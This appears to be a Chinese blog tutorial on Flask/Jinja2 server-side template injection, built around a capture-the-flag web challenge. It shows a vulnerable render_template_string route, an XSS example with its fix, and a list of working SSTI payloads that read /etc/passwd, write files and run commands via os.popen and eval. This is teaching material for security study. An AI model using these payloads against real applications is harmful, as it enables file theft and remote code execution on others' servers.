flask模板注入

参考链接

从零学习flask模板注入 - FreeBuf网络安全行业门户

​​​​​​关于python魔术方法payload:““.__class__.__mro__[2].__subclasses__()[40](“/etc/passwd“).read() 的解释_沐一 · 林的博客-CSDN博客

目录

参考链接

flask基础

1.route :

2.渲染方法

3.模板的使用

模板注入

1.xss注入

不正确的代码如下:

修改

 2.SSTI文件读取/命令执行

 文件读取

命令执行

例题

1.首先确定有没有存在template 注入

2.探查可以用的方法

1.找以下 ,为文件读取做准备

2.继续找,为命令执行做准备

3.获取flag


flask基础

先看一段python代码

from flask import flask

@app.route('/index/')

def hello_world():
    return 'hello world'

1.route :

route是装饰器,作用是将函数和url绑定在一起

样例中的代码就是当访问 127.0.0.1/index/时,flask回返回 hello world

2.渲染方法

flask的渲染方法有两种

1.render_template

render_template()用于渲染一个指定的文件,如

return render_template('index.html')

2.render_template_string

render_template_string 用于渲染字符串,如

html = '<h1> This is index page </h1>'

return render_template_string(html)

3.模板的使用

flask是使用jinja2做渲染引擎。

使用:在网站根目录下新建templates文件夹,用来存放html文件.也就是模板文件

test.py

from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
    return render_template('index.html')

/templata/index.html

<h1>{{content}}</h1>

这个页面仍然输出 This is index page

{{}}在Jinja2 中作为变量包裹标识符

模板注入

原因:不正确的使用 flask中的render_template_string方法会引发 SSTI。

1.xss注入

不正确的代码如下:

@app.route('/test/')
def test():
    code = request.args.get('id')
    html = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(html)

不正确的原因: code是用户可控的,用户通过 ?id= 即可对code进行控制,进而影响到

<h3>%s</h3> 导致 注入

当code为 </h3> <script>alert(1)</script> <h3>时,

执行的代码就变为

<h3> </h3> <script>alert(1)</script> <h3></h3>

导致反射型 xss的发生

修改

@app.route('/test/')
def test():
    code = request.args.get('id')
    return render_template_string('<h1>{{ code }}</h1>',code=code)

先将code转化为字符串,这样子就不会出现以上问题

如,原句被输出而不是当成JavaScript语言执行

 2.SSTI文件读取/命令执行

基础知识

在Jinja2模板引擎中,{{}} 是变量包裹标识符,{{}}不仅仅可以传递变量,还可以执行一些简单的表达式,如

@app.route('/test/')
def test():
    code = request.args.get('id')
    html = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(html)

这个代码中,当用户通过输入 ?id={{2*4}} 时,会出现以下内容

 文件读取

利用 40模板 <type 'file'>,payload 如下:

#1.获取字符串的类对象
{{''.__class__}}
#2.寻找基类
{{''.__class__.__mro__}}
#3.寻找可引用类
{{''.__class__.__mro__[2].__subclasses__()}}
#能引用的类
#{{''.__class__.__mro__[2].__subclasses__()[40]}}  -> <type `file`>
#利用方式
{{''.__class__.__mro__[2].__subclasses__()[40]}('/etc/passwd').read()}

命令执行

利用的模板为 71 <class 'site._Printer'>,payload如下

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

listdir 是os中的函数,接路径

参考链接:

例题

攻防世界中的Web_python_template_injection

链接:题目 (xctf.org.cn)

思路:找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。 

解法:

1.首先确定有没有存在template 注入

显然,命令被执行了payload为 {{2*4}}

2.探查可以用的方法

 payload如下:

{{''.__class__.__mro__[2].__subclasses__()}}

1.找以下 <type 'file'> ,为文件读取做准备

 如图, <type 'file'> 是可以用的,下标为40

补充:序列号就是函数的位置,从第一个开始数,第一个为0

2.继续找<class 'site._Printer>,为命令执行做准备

<class 'site.Printer'> 也存在,序列号为 71 

3.获取flag

先找到flag位置

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

读取fl4g文件

{{''.__class__.__mro__[2].__subclasses__()[40]('./fl4g').read()}}

 补充

payload收集

//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

几个魔法函数

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类  // __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

  • 3
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jjj34

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值